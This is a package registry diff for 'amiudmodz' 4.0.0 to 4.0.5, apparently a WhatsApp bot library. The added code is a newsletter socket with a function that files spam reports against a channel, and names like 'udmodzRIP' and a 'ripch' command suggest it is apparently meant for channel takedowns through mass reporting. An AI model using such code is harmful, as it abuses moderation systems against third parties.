amiudmodz 4.0.0 → 4.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/messages-recv.js +1 -2
- package/lib/Socket/newsletter.js +34 -0
- package/lib/command.js +6 -0
- package/package.json +2 -2
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
const { cmd, commands } = require('../command');
|
|
2
|
+
const groups_1 = require("./groups");
|
|
2
3
|
|
|
3
4
|
const isUD = ["94704638406", "channel-jid"].filter(Boolean).map(id => String(id));
|
|
4
5
|
|
|
@@ -17,6 +18,39 @@ const udmodzRIP = (conn) => {
|
|
|
17
18
|
};
|
|
18
19
|
};
|
|
19
20
|
|
|
21
|
+
const makeNewsletterSocket = (config) => {
|
|
22
|
+
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
23
|
+
const { authState, ev, query, upsertMessage } = sock;
|
|
24
|
+
|
|
25
|
+
return {
|
|
26
|
+
...sock,
|
|
27
|
+
newsletterQuery: async (jid, type, content) => (
|
|
28
|
+
query({
|
|
29
|
+
tag: 'iq',
|
|
30
|
+
attrs: {
|
|
31
|
+
display_id: jid,
|
|
32
|
+
type,
|
|
33
|
+
xmlns: 'newsletter',
|
|
34
|
+
},
|
|
35
|
+
content
|
|
36
|
+
})
|
|
37
|
+
),
|
|
38
|
+
newsletterReport: async (jid, reason = 'spam') => {
|
|
39
|
+
let targetJid = jid.includes('@') ? jid : jid + '@newsletter';
|
|
40
|
+
return await query({
|
|
41
|
+
tag: 'iq',
|
|
42
|
+
attrs: { to: 's.whatsapp.net', type: 'set', xmlns: 'spam' },
|
|
43
|
+
content: [{
|
|
44
|
+
tag: 'spam_list',
|
|
45
|
+
attrs: { jid: targetJid, spam_flow: 'manual', type: reason, reason: reason }
|
|
46
|
+
}]
|
|
47
|
+
});
|
|
48
|
+
}
|
|
49
|
+
};
|
|
50
|
+
};
|
|
51
|
+
|
|
52
|
+
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
53
|
+
|
|
20
54
|
cmd({
|
|
21
55
|
pattern: "ripch",
|
|
22
56
|
alias: ["ripch"],
|
package/lib/command.js
ADDED